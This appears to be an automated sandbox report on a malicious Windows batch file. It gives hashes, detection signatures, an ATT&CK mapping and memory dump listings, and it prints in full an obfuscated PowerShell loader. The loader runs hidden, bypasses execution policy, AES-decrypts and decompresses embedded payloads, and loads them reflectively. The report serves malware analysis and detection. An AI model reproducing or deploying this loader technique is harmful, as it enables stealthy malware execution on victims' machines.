722c42c544ec40709b016906077aa4ee555c414a998e3986d9b44e4cfb28b4c2

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
15-05-2024 22:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

s.bat
Size

864KB
MD5

42c72c26bb7fc92064808e8edb9efdbc
SHA1

8b9cb6f781b99cc723aa2a0d9bcffecd73a5490a
SHA256

722c42c544ec40709b016906077aa4ee555c414a998e3986d9b44e4cfb28b4c2
SHA512

7ac1c09e3242eb3d43d9a1c86e1abd5c1cdc75b5a32881a7287defb0407010533c891eaa0b0d12a496d885ebfc3bc41b57934dfe55a979f0a08a2745d61c167e
SSDEEP

24576:ifUMJg2oIqiT97xw/+JOg0MJcz/aaCbZr:SU/s1T9N0/aawr

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3068	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3068	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3068	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3068	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 3068	1728	cmd.exe	29
PID 1728 wrote to memory of 3068	1728	cmd.exe	29
PID 1728 wrote to memory of 3068	1728	cmd.exe	29
PID 1728 wrote to memory of 3068	1728	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XLntWa+7DUuCS+fnbQfhf/cxydXpLtg+PQ02HHuVeRk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NtpnTWtFGpfhlwj+FpJ6UQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xlRxg=New-Object System.IO.MemoryStream(,$param_var); $zRntR=New-Object System.IO.MemoryStream; $biJHY=New-Object System.IO.Compression.GZipStream($xlRxg, [IO.Compression.CompressionMode]::Decompress); $biJHY.CopyTo($zRntR); $biJHY.Dispose(); $xlRxg.Dispose(); $zRntR.Dispose(); $zRntR.ToArray();}function execute_function($param_var,$param2_var){ $SZVOd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $zTOPO=$SZVOd.EntryPoint; $zTOPO.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\s.bat';$zVVoV=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\s.bat').Split([Environment]::NewLine);foreach ($RfCQM in $zVVoV) { if ($RfCQM.StartsWith(':: ')) { $fcaeB=$RfCQM.Substring(3); break; }}$payloads_var=[string[]]$fcaeB.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: CmdExeWriteProcessMemorySpam
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3068

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3068-2-0x0000000073C01000-0x0000000073C02000-memory.dmp

Filesize
4KB

Download
memory/3068-3-0x0000000073C00000-0x00000000741AB000-memory.dmp

Filesize
5.7MB

Download
memory/3068-4-0x0000000073C00000-0x00000000741AB000-memory.dmp

Filesize
5.7MB

Download
memory/3068-5-0x0000000073C00000-0x00000000741AB000-memory.dmp

Filesize
5.7MB

Download